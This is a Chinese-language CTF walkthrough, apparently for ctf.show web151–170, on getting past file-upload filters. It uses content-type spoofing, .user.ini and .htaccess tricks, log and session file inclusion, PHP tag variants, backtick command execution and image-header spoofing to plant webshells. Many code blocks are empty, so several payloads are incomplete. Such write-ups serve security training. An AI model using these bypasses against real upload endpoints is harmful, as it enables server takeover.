web151(前端校验)
前端验证,修改png为php
1 | lay-data="{url: 'upload.php', accept: 'images',exts:'php'}" |
上传php文件
1 |
|
web152(content-type)
通过前端校验后上传php文件显示文件类型不合规
尝试抓包修改content-type,根据数据包回显得知上传成功。
1 | POST /upload.php |
web153(.user.ini)
虽然将后缀名改为phtml
,php5
等,可以上传成功,但是服务器并不解析
.user.ini文件其实就是PHP的一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含
.htaccess文件是Apache Web服务器的配置文件;Nginx并不使用.htaccess文件
1 | auto_prepend_file = <filename> //包含在文件头 |
payload
上传a.png
1 |
|
上传.user.ini
1 | auto_prepend_file = a.png |
web154-155(内容检测”php”)
payload
利用上题的方法,将a.png的内容改成如下,利用短标签
1 |
|
PHP四种标记风格
1.XML风格
1 |
|
php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格。
2.脚本风格
1 | <script language="php"> |
默认开启,无法禁用
笔者曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 ,<? 以及 php,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过
1 | <script language="PhP"> |
3.简短风格
1 |
|
此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的
4.ASP风格
1 | <% |
此种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的
原文链接:https://blog.csdn.net/qq_35085863/article/details/76714367
web156(内容检测’[‘)
1 |
|
stripos — 查找字符串首次出现的位置(不区分大小写); 过滤了**[ ]** 可以用{}
替代
web157-158(内容检测 ‘{}’ ,’;’)
payload,php最后一句话可以不用加分号
1 |
|
web159(内容检测”()”,”log”)
使用反引号
1 | <= |
web160(内容检测空格)
使得a.png的内容如下,包含日志文件
1 | include"/var/lo"."g/nginx/access.lo"."g" |
web161-162文件头检测)
上传文件时加上图片文件头
1 | GIF89a |
web163(内容检测 “.”)
利用.user.ini
,使得文件包含/tmp/sess_id
;我这里并没有从哪里看出来开启了session
;
上传.user.ini
文件
1 | GIF89a |
表单
1 | <html> |
payload,用bp的intruder,
1 | POST / |
1 | GET /upload/index.php |
web164(png二次渲染)
直接用大佬的脚本生成木马文件
1 |
|
web165(jpg二次渲染)
jpg的成功率很低
1 |
|
web166(zip文件包含)
只能上传zip
文件
1 | lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}" |
download.php存在文件包含,
1 | upload/download.php?file=e46801abff88087e1938a39472b8a1f0.zip |
随便压缩一个文件,右击压缩后的zip文件打开;加上木马
1 | PK |
上传之后,直接用蚁剑即可连接
1 | url: http://38b16135-3b29-49f9-aa9e-63f555279256.challenge.ctf.show/upload/download.php?file=e46801abff88087e1938a39472b8a1f0.zip |
web167(htaccess)
hint:httpd
htaccess
文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
上传1.jpg文件
1 |
|
上传.htaccess
文件,并把1.jpg文件用php解析
1 | <FilesMatch "1.jpg"> |
其实这个我感觉挺奇怪的,响应标头表示的是nginx服务器,但是却可以用htaccess配置文件?
1 | 200 OK |
web168(姿势绕过)
经过测试发现,文件上传点将eval和system以及post和get过滤了
也可以使用反引号来进行命令执行,通过不断修改上传文件中的内容和不断访问该文件来获取flag
1 | echo `tac ../f*`; |
还有其他方式;
1 |
|
web169-170(过滤了”<”)
吐槽:只能上传zip文件,但是Content-Type又必须是图片类型;
随便上传一个php文件,然后用.user.ini包含日志文件
1 | Content-Disposition: form-data; name="file"; filename=".user.ini" |